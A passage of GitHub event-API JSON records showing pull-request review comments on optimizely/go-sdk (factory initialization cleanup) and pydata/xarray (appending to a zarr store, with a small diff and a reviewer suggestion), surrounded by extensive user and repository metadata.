"avatar_url": "https://avatars.githubusercontent.com/u/1245801?",
"url": "https://api.github.com/orgs/pixelunion"
}
| 2019-10-25T18:31:04 |
10716635987
|
{"actor":{"display_login":"freemer"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/optimizely/go-sdk/pulls/comments/353431079","pull_request_review_id":326460268,"id":353431079,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM1MzQzMTA3OQ==","diff_hunk":"@@ -77,18 +78,22 @@ func (f OptimizelyFactory) Client(clientOptions ...OptionFunc) (*OptimizelyClien\n \tif f.eventProcessor != nil {\n \t\tappClient.EventProcessor = f.eventProcessor\n \t} else {\n-\t\tappClient.EventProcessor = event.NewBatchEventProcessor(\n+\t\tvar eventProcessorOptions = []event.BPOptionConfig{","path":"pkg/client/factory.go","position":13,"original_position":13,"commit_id":"ff085fe0990858f244069198e79210f017c0745b","original_commit_id":"ff085fe0990858f244069198e79210f017c0745b","user":{"login":"mikeng13","id":1365958,"node_id":"MDQ6VXNlcjEzNjU5NTg=","avatar_url":"https://avatars3.githubusercontent.com/u/1365958?v=4","gravatar_id":"","url":"https://api.github.com/users/mikeng13","html_url":"https://github.com/mikeng13","followers_url":"https://api.github.com/users/mikeng13/followers","following_url":"https://api.github.com/users/mikeng13/following{/other_user}","gists_url":"https://api.github.com/users/mikeng13/gists{/gist_id}","starred_url":"https://api.github.com/users/mikeng13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikeng13/subscriptions","organizations_url":"https://api.github.com/users/mikeng13/orgs","repos_url":"https://api.github.com/users/mikeng13/repos","events_url":"https://api.github.com/users/mikeng13/events{/privacy}","received_events_url":"https://api.github.com/users/mikeng13/received_events","type":"User","site_admin":false},"body":"You are right, we don't need em.","created_at":"2019-12-03T21:28:28Z","updated_at":"2019-12-03T21:28:28Z","html_url":"https://github.com/optimizely/go-sdk/pull/206#discussion_r353431079","pull_request_url":"https://api.github.com/repos/optimizely/go-sdk/pulls/206","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/comments/353431079"},"html":{"href":"https://github.com/optimizely/go-sdk/pull/206#discussion_r353431079"},"pull_request":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/206"}},"in_reply_to_id":353413179},"pull_request":{"url":"https://api.github.com/repos/optimizely/go-sdk/pulls/206","id":348521308,"node_id":"MDExOlB1bGxSZXF1ZXN0MzQ4NTIxMzA4","html_url":"https://github.com/optimizely/go-sdk/pull/206","diff_url":"https://github.com/optimizely/go-sdk/pull/206.diff","patch_url":"https://github.com/optimizely/go-sdk/pull/206.patch","issue_url":"https://api.github.com/repos/optimizely/go-sdk/issues/206","number":206,"state":"open","locked":false,"title":"chore: Clean up various factory methods to simplify initialization.","user":{"login":"mikeng13","id":1365958,"node_id":"MDQ6VXNlcjEzNjU5NTg=","avatar_url":"https://avatars3.githubusercontent.com/u/1365958?v=4","gravatar_id":"","url":"https://api.github.com/users/mikeng13","html_url":"https://github.com/mikeng13","followers_url":"https://api.github.com/users/mikeng13/followers","following_url":"https://api.github.com/users/mikeng13/following{/other_user}","gists_url":"https://api.github.com/users/mikeng13/gists{/gist_id}","starred_url":"https://api.github.com/users/mikeng13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikeng13/subscriptions","organizations_url":"https://api.github.com/users/mikeng13/orgs","repos_url":"https://api.github.com/users/mikeng13/repos","events_url":"https://api.github.com/users/mikeng13/events{/privacy}","received_events_url":"https://api.github.com/users/mikeng13/received_events","type":"User","site_admin":false},"body":"# Summary\r\n- Make initialization simpler\r\n- Add option to pass in Event Dispatcher directly into factory","created_at":"2019-12-03T19:56:21Z","updated_at":"2019-12-03T21:28:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"97b2bff2b8c51e10d1b786ad433bf0660ca31f6f","assignee":{"login":"mikeng13","id":1365958,"node_id":"MDQ6VXNlcjEzNjU5NTg=","avatar_url":"https://avatars3.githubusercontent.com/u/1365958?v=4","gravatar_id":"","url":"https://api.github.com/users/mikeng13","html_url":"https://github.com/mikeng13","followers_url":"https://api.github.com/users/mikeng13/followers","following_url":"https://api.github.com/users/mikeng13/following{/other_user}","gists_url":"https://api.github.com/users/mikeng13/gists{/gist_id}","starred_url":"https://api.github.com/users/mikeng13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikeng13/subscriptions","organizations_url":"https://api.github.com/users/mikeng13/orgs","repos_url":"https://api.github.com/users/mikeng13/repos","events_url":"https://api.github.com/users/mikeng13/events{/privacy}","received_events_url":"https://api.github.com/users/mikeng13/received_events","type":"User","site_admin":false},"assignees":[{"login":"mikeng13","id":1365958,"node_id":"MDQ6VXNlcjEzNjU5NTg=","avatar_url":"https://avatars3.githubusercontent.com/u/1365958?v=4","gravatar_id":"","url":"https://api.github.com/users/mikeng13","html_url":"https://github.com/mikeng13","followers_url":"https://api.github.com/users/mikeng13/followers","following_url":"https://api.github.com/users/mikeng13/following{/other_user}","gists_url":"https://api.github.com/users/mikeng13/gists{/gist_id}","starred_url":"https://api.github.com/users/mikeng13/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mikeng13/subscriptions","organizations_url":"https://api.github.com/users/mikeng13/orgs","repos_url":"https://api.github.com/users/mikeng13/repos","events_url":"https://api.github.com/users/mikeng13/events{/privacy}","received_events_url":"https://api.github.com/users/mikeng13/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/optimizely/go-sdk/pulls/206/commits","review_comments_url":"https://api.github.com/repos/optimizely/go-sdk/pulls/206/comments","review_comment_url":"https://api.github.com/repos/optimizely/go-sdk/pulls/comments{/number}","comments_url":"https://api.github.com/repos/optimizely/go-sdk/issues/206/comments","statuses_url":"https://api.github.com/repos/optimizely/go-sdk/statuses/ff085fe0990858f244069198e79210f017c0745b","head":{"label":"optimizely:mng/cleanup-factory","ref":"mng/cleanup-factory","sha":"ff085fe0990858f244069198e79210f017c0745b","user":{"login":"optimizely","id":1274132,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNzQxMzI=","avatar_url":"https://avatars3.githubusercontent.com/u/1274132?v=4","gravatar_id":"","url":"https://api.github.com/users/optimizely","html_url":"https://github.com/optimizely","followers_url":"https://api.github.com/users/optimizely/followers","following_url":"https://api.github.com/users/optimizely/following{/other_user}","gists_url":"https://api.github.com/users/optimizely/gists{/gist_id}","starred_url":"https://api.github.com/users/optimizely/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/optimizely/subscriptions","organizations_url":"https://api.github.com/users/optimizely/orgs","repos_url":"https://api.github.com/users/optimizely/repos","events_url":"https://api.github.com/users/optimizely/events{/privacy}","received_events_url":"https://api.github.com/users/optimizely/received_events","type":"Organization","site_admin":false},"repo":{"id":58225893,"node_id":"MDEwOlJlcG9zaXRvcnk1ODIyNTg5Mw==","name":"go-sdk","full_name":"optimizely/go-sdk","private":false,"owner":{"login":"optimizely","id":1274132,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNzQxMzI=","avatar_url":"https://avatars3.githubusercontent.com/u/1274132?v=4","gravatar_id":"","url":"https://api.github.com/users/optimizely","html_url":"https://github.com/optimizely","followers_url":"https://api.github.com/users/optimizely/followers","following_url":"https://api.github.com/users/optimizely/following{/other_user}","gists_url":"https://api.github.com/users/optimizely/gists{/gist_id}","starred_url":"https://api.github.com/users/optimizely/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/optimizely/subscriptions","organizations_url":"https://api.github.com/users/optimizely/orgs","repos_url":"https://api.github.com/users/optimizely/repos","events_url":"https://api.github.com/users/optimizely/events{/privacy}","received_events_url":"https://api.github.com/users/optimizely/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/optimizely/go-sdk","description":"Go SDK for Optimizely","fork":false,"url":"https://api.github.com/repos/optimizely/go-sdk","forks_url":"https://api.github.com/repos/optimizely/go-sdk/forks","keys_url":"https://api.github.com/repos/optimizely/go-sdk/keys{/key_id}","collaborators_url":"https://api.github.com/repos/optimizely/go-sdk/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/optimizely/go-sdk/teams","hooks_url":"https://api.github.com/repos/optimizely/go-sdk/hooks","issue_events_url":"https://api.github.com/repos/optimizely/go-sdk/issues/events{/number}","events_url":"https://api.github.com/repos/optimizely/go-sdk/events","assignees_url":"https://api.github.com/repos/optimizely/go-sdk/assignees{/user}","branches_url":"https://api.github.com/repos/optimizely/go-sdk/branches{/branch}","tags_url":"https://api.github.com/repos/optimizely/go-sdk/tags","blobs_url":"https://api.github.com/repos/optimizely/go-sdk/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/optimizely/go-sdk/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/optimizely/go-sdk/git/refs{/sha}","trees_url":"https://api.github.com/repos/optimizely/go-sdk/git/trees{/sha}","statuses_url":"https://api.github.com/repos/optimizely/go-sdk/statuses/{sha}","languages_url":"https://api.github.com/repos/optimizely/go-sdk/languages","stargazers_url":"https://api.github.com/repos/optimizely/go-sdk/stargazers","contributors_url":"https://api.github.com/repos/optimizely/go-sdk/contributors","subscribers_url":"https://api.github.com/repos/optimizely/go-sdk/subscribers","subscription_url":"https://api.github.com/repos/optimizely/go-sdk/subscription","commits_url":"https://api.github.com/repos/optimizely/go-sdk/commits{/sha}","git_commits_url":"https://api.github.com/repos/optimizely/go-sdk/git/commits{/sha}","comments_url":"https://api.github.com/repos/optimizely/go-sdk/comments{/number}","issue_comment_url":"https://api.github.com/repos/optimizely/go-sdk/issues/comments{/number}","contents_url":"https://api.github.com/repos/optimizely/go-sdk/contents/{+path}","compare_url":"https://api.github.com/repos/optimizely/go-sdk/compare/{base}...{head}","merges_url":"https://api.github.com/repos/optimizely/go-sdk/merges","archive_url":"https://api.github.com/repos/optimizely/go-sdk/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/optimizely/go-sdk/downloads","issues_url":"https://api.github.com/repos/optimizely/go-sdk/issues{/number}","pulls_url":"https://api.github.com/repos/optimizely/go-sdk/pulls{/number}","milestones_url":"https://api.github.com/repos/optimizely/go-sdk/milestones{/number}","notifications_url":"https://api.github.com/repos/optimizely/go-sdk/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/optimizely/go-sdk/labels{/name}","releases_url":"https://api.github.com/repos/optimizely/go-sdk/releases{/id}","deployments_url":"https://api.github.com/repos/optimizely/go-sdk/deployments","created_at":"2016-05-06T18:07:26Z","updated_at":"2019-12-03T19:55:36Z","pushed_at":"2019-12-03T20:27:54Z","git_url":"git://github.com/optimizely/go-sdk.git","ssh_url":"git@github.com:optimizely/go-sdk.git","clone_url":"https://github.com/optimizely/go-sdk.git","svn_url":"https://github.com/optimizely/go-sdk","homepage":null,"size":1161,"stargazers_count":3,"watchers_count":3,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":8,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":8,"watchers":3,"default_branch":"master"}},"base":{"label":"optimizely:master","ref":"master","sha":"1b75d2e91e9887188fb4f41207b4486f3b2d1f64","user":{"login":"optimizely","id":1274132,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNzQxMzI=","avatar_url":"https://avatars3.githubusercontent.com/u/1274132?v=4","gravatar_id":"","url":"https://api.github.com/users/optimizely","html_url":"https://github.com/optimizely","followers_url":"https://api.github.com/users/optimizely/followers","following_url":"https://api.github.com/users/optimizely/following{/other_user}","gists_url":"https://api.github.com/users/optimizely/gists{/gist_id}","starred_url":"https://api.github.com/users/optimizely/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/optimizely/subscriptions","organizations_url":"https://api.github.com/users/optimizely/orgs","repos_url":"https://api.github.com/users/optimizely/repos","events_url":"https://api.github.com/users/optimizely/events{/privacy}","received_events_url":"https://api.github.com/users/optimizely/received_events","type":"Organization","site_admin":false},"repo":{"id":58225893,"node_id":"MDEwOlJlcG9zaXRvcnk1ODIyNTg5Mw==","name":"go-sdk","full_name":"optimizely/go-sdk","private":false,"owner":{"login":"optimizely","id":1274132,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyNzQxMzI=","avatar_url":"https://avatars3.githubusercontent.com/u/1274132?v=4","gravatar_id":"","url":"https://api.github.com/users/optimizely","html_url":"https://github.com/optimizely","followers_url":"https://api.github.com/users/optimizely/followers","following_url":"https://api.github.com/users/optimizely/following{/other_user}","gists_url":"https://api.github.com/users/optimizely/gists{/gist_id}","starred_url":"https://api.github.com/users/optimizely/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/optimizely/subscriptions","organizations_url":"https://api.github.com/users/optimizely/orgs","repos_url":"https://api.github.com/users/optimizely/repos","events_url":"https://api.github.com/users/optimizely/events{/privacy}","received_events_url":"https://api.github.com/users/optimizely/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/optimizely/go-sdk","description":"Go SDK for Optimizely","fork":false,"url":"https://api.github.com/repos/optimizely/go-sdk","forks_url":"https://api.github.com/repos/optimizely/go-sdk/forks","keys_url":"https://api.github.com/repos/optimizely/go-sdk/keys{/key_id}","collaborators_url":"https://api.github.com/repos/optimizely/go-sdk/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/optimizely/go-sdk/teams","hooks_url":"https://api.github.com/repos/optimizely/go-sdk/hooks","issue_events_url":"https://api.github.com/repos/optimizely/go-sdk/issues/events{/number}","events_url":"https://api.github.com/repos/optimizely/go-sdk/events","assignees_url":"https://api.github.com/repos/optimizely/go-sdk/assignees{/user}","branches_url":"https://api.github.com/repos/optimizely/go-sdk/branches{/branch}","tags_url":"https://api.github.com/repos/optimizely/go-sdk/tags","blobs_url":"https://api.github.com/repos/optimizely/go-sdk/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/optimizely/go-sdk/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/optimizely/go-sdk/git/refs{/sha}","trees_url":"https://api.github.com/repos/optimizely/go-sdk/git/trees{/sha}","statuses_url":"https://api.github.com/repos/optimizely/go-sdk/statuses/{sha}","languages_url":"https://api.github.com/repos/optimizely/go-sdk/languages","stargazers_url":"https://api.github.com/repos/optimizely/go-sdk/stargazers","contributors_url":"https://api.github.com/repos/optimizely/go-sdk/contributors","subscribers_url":"https://api.github.com/repos/optimizely/go-sdk/subscribers","subscription_url":"https://api.github.com/repos/optimizely/go-sdk/subscription","commits_url":"https://api.github.com/repos/optimizely/go-sdk/commits{/sha}","git_commits_url":"https://api.github.com/repos/optimizely/go-sdk/git/commits{/sha}","comments_url":"https://api.github.com/repos/optimizely/go-sdk/comments{/number}","issue_comment_url":"https://api.github.com/repos/optimizely/go-sdk/issues/comments{/number}","contents_url":"https://api.github.com/repos/optimizely/go-sdk/contents/{+path}","compare_url":"https://api.github.com/repos/optimizely/go-sdk/compare/{base}...{head}","merges_url":"https://api.github.com/repos/optimizely/go-sdk/merges","archive_url":"https://api.github.com/repos/optimizely/go-sdk/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/optimizely/go-sdk/downloads","issues_url":"https://api.github.com/repos/optimizely/go-sdk/issues{/number}","pulls_url":"https://api.github.com/repos/optimizely/go-sdk/pulls{/number}","milestones_url":"https://api.github.com/repos/optimizely/go-sdk/milestones{/number}","notifications_url":"https://api.github.com/repos/optimizely/go-sdk/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/optimizely/go-sdk/labels{/name}","releases_url":"https://api.github.com/repos/optimizely/go-sdk/releases{/id}","deployments_url":"https://api.github.com/repos/optimizely/go-sdk/deployments","created_at":"2016-05-06T18:07:26Z","updated_at":"2019-12-03T19:55:36Z","pushed_at":"2019-12-03T20:27:54Z","git_url":"git://github.com/optimizely/go-sdk.git","ssh_url":"git@github.com:optimizely/go-sdk.git","clone_url":"https://github.com/optimizely/go-sdk.git","svn_url":"https://github.com/optimizely/go-sdk","homepage":null,"size":1161,"stargazers_count":3,"watchers_count":3,"language":"Go","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":8,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":1,"open_issues":8,"watchers":3,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/206"},"html":{"href":"https://github.com/optimizely/go-sdk/pull/206"},"issue":{"href":"https://api.github.com/repos/optimizely/go-sdk/issues/206"},"comments":{"href":"https://api.github.com/repos/optimizely/go-sdk/issues/206/comments"},"review_comments":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/206/comments"},"review_comment":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/optimizely/go-sdk/pulls/206/commits"},"statuses":{"href":"https://api.github.com/repos/optimizely/go-sdk/statuses/ff085fe0990858f244069198e79210f017c0745b"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 58225893,
"name": "optimizely/go-sdk",
"url": "https://api.github.com/repos/optimizely/go-sdk"
}
|
{
"id": 1365958,
"login": "mikeng13",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1365958?",
"url": "https://api.github.com/users/mikeng13"
}
|
{
"id": 1274132,
"login": "optimizely",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1274132?",
"url": "https://api.github.com/orgs/optimizely"
}
| 2019-12-03T21:28:28 |
11003876906
|
{"actor":{"display_login":"mikeng13"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/pydata/xarray/pulls/comments/297267110","pull_request_review_id":254109122,"id":297267110,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI5NzI2NzExMA==","diff_hunk":"@@ -158,26 +158,37 @@ class ArrayWriter:\n def __init__(self, lock=None):\n self.sources = []\n self.targets = []\n+ self.regions = []\n self.lock = lock\n \n- def add(self, source, target):\n+ def add(self, source, target, region=None):\n if isinstance(source, dask_array_type):\n self.sources.append(source)\n self.targets.append(target)\n+ self.regions.append(region)\n else:\n- target[...] = source\n+ if region:\n+ target[region] = source\n+ else:\n+ target[...] = source\n \n def sync(self, compute=True):\n if self.sources:\n import dask.array as da\n # TODO: consider wrapping targets with dask.delayed, if this makes\n # for any discernable difference in perforance, e.g.,\n # targets = [dask.delayed(t) for t in self.targets]\n+\n+ if not self.regions:\n+ regions = None\n+ else:\n+ regions = self.regions\n delayed_store = da.store(self.sources, self.targets,\n lock=self.lock, compute=compute,\n- flush=True)\n+ flush=True, regions=regions)","path":"xarray/backends/common.py","position":34,"original_position":34,"commit_id":"9558811d615f50c8957b263eb0dd7680b07ae680","original_commit_id":"9558811d615f50c8957b263eb0dd7680b07ae680","user":{"login":"shoyer","id":1217238,"node_id":"MDQ6VXNlcjEyMTcyMzg=","avatar_url":"https://avatars2.githubusercontent.com/u/1217238?v=4","gravatar_id":"","url":"https://api.github.com/users/shoyer","html_url":"https://github.com/shoyer","followers_url":"https://api.github.com/users/shoyer/followers","following_url":"https://api.github.com/users/shoyer/following{/other_user}","gists_url":"https://api.github.com/users/shoyer/gists{/gist_id}","starred_url":"https://api.github.com/users/shoyer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shoyer/subscriptions","organizations_url":"https://api.github.com/users/shoyer/orgs","repos_url":"https://api.github.com/users/shoyer/repos","events_url":"https://api.github.com/users/shoyer/events{/privacy}","received_events_url":"https://api.github.com/users/shoyer/received_events","type":"User","site_admin":false},"body":"`self.regions` is always non-empty, so you should probably just use it directly (and delete the conditional above):\r\n```suggestion\r\n flush=True, regions=self.regions)\r\n```","created_at":"2019-06-25T16:00:14Z","updated_at":"2019-06-25T16:01:26Z","html_url":"https://github.com/pydata/xarray/pull/2706#discussion_r297267110","pull_request_url":"https://api.github.com/repos/pydata/xarray/pulls/2706","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/pydata/xarray/pulls/comments/297267110"},"html":{"href":"https://github.com/pydata/xarray/pull/2706#discussion_r297267110"},"pull_request":{"href":"https://api.github.com/repos/pydata/xarray/pulls/2706"}}},"pull_request":{"url":"https://api.github.com/repos/pydata/xarray/pulls/2706","id":247486062,"node_id":"MDExOlB1bGxSZXF1ZXN0MjQ3NDg2MDYy","html_url":"https://github.com/pydata/xarray/pull/2706","diff_url":"https://github.com/pydata/xarray/pull/2706.diff","patch_url":"https://github.com/pydata/xarray/pull/2706.patch","issue_url":"https://api.github.com/repos/pydata/xarray/issues/2706","number":2706,"state":"open","locked":false,"title":"Appending to zarr store","user":{"login":"jendrikjoe","id":9658781,"node_id":"MDQ6VXNlcjk2NTg3ODE=","avatar_url":"https://avatars0.githubusercontent.com/u/9658781?v=4","gravatar_id":"","url":"https://api.github.com/users/jendrikjoe","html_url":"https://github.com/jendrikjoe","followers_url":"https://api.github.com/users/jendrikjoe/followers","following_url":"https://api.github.com/users/jendrikjoe/following{/other_user}","gists_url":"https://api.github.com/users/jendrikjoe/gists{/gist_id}","starred_url":"https://api.github.com/users/jendrikjoe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jendrikjoe/subscriptions","organizations_url":"https://api.github.com/users/jendrikjoe/orgs","repos_url":"https://api.github.com/users/jendrikjoe/repos","events_url":"https://api.github.com/users/jendrikjoe/events{/privacy}","received_events_url":"https://api.github.com/users/jendrikjoe/received_events","type":"User","site_admin":false},"body":"This pull request allows to append an xarray to an existing datastore.\r\n - [x] Closes #2022\r\n - [x] Tests will be added. Wanted to get an opinion if this is what is imagined by the community\r\n - [x] Fully documented, including `whats-new.rst` for all changes and `api.rst` for new API\r\nTo filter the data written to the array, the dimension over which the data will be appended has to be explicitly stated. If someone has an idea how to overcome this, I would be more than happy to incorporate the necessary changes into the PR.\r\nCheers,\r\nJendrik\r\n","created_at":"2019-01-24T21:43:02Z","updated_at":"2019-06-25T16:01:26Z","closed_at":null,"merged_at":null,"merge_commit_sha":"a498ae8b53ed549c394a449059406f07c619a8bb","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/pydata/xarray/pulls/2706/commits","review_comments_url":"https://api.github.com/repos/pydata/xarray/pulls/2706/comments","review_comment_url":"https://api.github.com/repos/pydata/xarray/pulls/comments{/number}","comments_url":"https://api.github.com/repos/pydata/xarray/issues/2706/comments","statuses_url":"https://api.github.com/repos/pydata/xarray/statuses/9558811d615f50c8957b263eb0dd7680b07ae680","head":{"label":"jendrikjoe:append_zarr","ref":"append_zarr","sha":"9558811d615f50c8957b263eb0dd7680b07ae680","user":{"login":"jendrikjoe","id":9658781,"node_id":"MDQ6VXNlcjk2NTg3ODE=","avatar_url":"https://avatars0.githubusercontent.com/u/9658781?v=4","gravatar_id":"","url":"https://api.github.com/users/jendrikjoe","html_url":"https://github.com/jendrikjoe","followers_url":"https://api.github.com/users/jendrikjoe/followers","following_url":"https://api.github.com/users/jendrikjoe/following{/other_user}","gists_url":"https://api.github.com/users/jendrikjoe/gists{/gist_id}","starred_url":"https://api.github.com/users/jendrikjoe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jendrikjoe/subscriptions","organizations_url":"https://api.github.com/users/jendrikjoe/orgs","repos_url":"https://api.github.com/users/jendrikjoe/repos","events_url":"https://api.github.com/users/jendrikjoe/events{/privacy}","received_events_url":"https://api.github.com/users/jendrikjoe/received_events","type":"User","site_admin":false},"repo":{"id":167393310,"node_id":"MDEwOlJlcG9zaXRvcnkxNjczOTMzMTA=","name":"xarray","full_name":"jendrikjoe/xarray","private":false,"owner":{"login":"jendrikjoe","id":9658781,"node_id":"MDQ6VXNlcjk2NTg3ODE=","avatar_url":"https://avatars0.githubusercontent.com/u/9658781?v=4","gravatar_id":"","url":"https://api.github.com/users/jendrikjoe","html_url":"https://github.com/jendrikjoe","followers_url":"https://api.github.com/users/jendrikjoe/followers","following_url":"https://api.github.com/users/jendrikjoe/following{/other_user}","gists_url":"https://api.github.com/users/jendrikjoe/gists{/gist_id}","starred_url":"https://api.github.com/users/jendrikjoe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jendrikjoe/subscriptions","organizations_url":"https://api.github.com/users/jendrikjoe/orgs","repos_url":"https://api.github.com/users/jendrikjoe/repos","events_url":"https://api.github.com/users/jendrikjoe/events{/privacy}","received_events_url":"https://api.github.com/users/jendrikjoe/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jendrikjoe/xarray","description":"N-D labeled arrays and datasets in Python","fork":true,"url":"https://api.github.com/repos/jendrikjoe/xarray","forks_url":"https://api.github.com/repos/jendrikjoe/xarray/forks","keys_url":"https://api.github.com/repos/jendrikjoe/xarray/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jendrikjoe/xarray/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jendrikjoe/xarray/teams","hooks_url":"https://api.github.com/repos/jendrikjoe/xarray/hooks","issue_events_url":"https://api.github.com/repos/jendrikjoe/xarray/issues/events{/number}","events_url":"https://api.github.com/repos/jendrikjoe/xarray/events","assignees_url":"https://api.github.com/repos/jendrikjoe/xarray/assignees{/user}","branches_url":"https://api.github.com/repos/jendrikjoe/xarray/branches{/branch}","tags_url":"https://api.github.com/repos/jendrikjoe/xarray/tags","blobs_url":"https://api.github.com/repos/jendrikjoe/xarray/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jendrikjoe/xarray/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jendrikjoe/xarray/git/refs{/sha}","trees_url":"https://api.github.com/repos/jendrikjoe/xarray/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jendrikjoe/xarray/statuses/{sha}","languages_url":"https://api.github.com/repos/jendrikjoe/xarray/languages","stargazers_url":"https://api.github.com/repos/jendrikjoe/xarray/stargazers","contributors_url":"https://api.github.com/repos/jendrikjoe/xarray/contributors","subscribers_url":"https://api.github.com/repos/jendrikjoe/xarray/subscribers","subscription_url":"https://api.github.com/repos/jendrikjoe/xarray/subscription","commits_url":"https://api.github.com/repos/jendrikjoe/xarray/commits{/sha}","git_commits_url":"https://api.github.com/repos/jendrikjoe/xarray/git/commits{/sha}","comments_url":"https://api.github.com/repos/jendrikjoe/xarray/comments{/number}","issue_comment_url":"https://api.github.com/repos/jendrikjoe/xarray/issues/comments{/number}","contents_url":"https://api.github.com/repos/jendrikjoe/xarray/contents/{+path}","compare_url":"https://api.github.com/repos/jendrikjoe/xarray/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jendrikjoe/xarray/merges","archive_url":"https://api.github.com/repos/jendrikjoe/xarray/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jendrikjoe/xarray/downloads","issues_url":"https://api.github.com/repos/jendrikjoe/xarray/issues{/number}","pulls_url":"https://api.github.com/repos/jendrikjoe/xarray/pulls{/number}","milestones_url":"https://api.github.com/repos/jendrikjoe/xarray/milestones{/number}","notifications_url":"https://api.github.com/repos/jendrikjoe/xarray/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jendrikjoe/xarray/labels{/name}","releases_url":"https://api.github.com/repos/jendrikjoe/xarray/releases{/id}","deployments_url":"https://api.github.com/repos/jendrikjoe/xarray/deployments","created_at":"2019-01-24T15:48:45Z","updated_at":"2019-01-24T15:48:48Z","pushed_at":"2019-06-25T15:38:38Z","git_url":"git://github.com/jendrikjoe/xarray.git","ssh_url":"git@github.com:jendrikjoe/xarray.git","clone_url":"https://github.com/jendrikjoe/xarray.git","svn_url":"https://github.com/jendrikjoe/xarray","homepage":"http://xarray.pydata.org","size":18307,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"pydata:master","ref":"master","sha":"6b33ad8b3e56834c3a345f21afc17680a164c5e9","user":{"login":"pydata","id":1284191,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODQxOTE=","avatar_url":"https://avatars0.githubusercontent.com/u/1284191?v=4","gravatar_id":"","url":"https://api.github.com/users/pydata","html_url":"https://github.com/pydata","followers_url":"https://api.github.com/users/pydata/followers","following_url":"https://api.github.com/users/pydata/following{/other_user}","gists_url":"https://api.github.com/users/pydata/gists{/gist_id}","starred_url":"https://api.github.com/users/pydata/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pydata/subscriptions","organizations_url":"https://api.github.com/users/pydata/orgs","repos_url":"https://api.github.com/users/pydata/repos","events_url":"https://api.github.com/users/pydata/events{/privacy}","received_events_url":"https://api.github.com/users/pydata/received_events","type":"Organization","site_admin":false},"repo":{"id":13221727,"node_id":"MDEwOlJlcG9zaXRvcnkxMzIyMTcyNw==","name":"xarray","full_name":"pydata/xarray","private":false,"owner":{"login":"pydata","id":1284191,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyODQxOTE=","avatar_url":"https://avatars0.githubusercontent.com/u/1284191?v=4","gravatar_id":"","u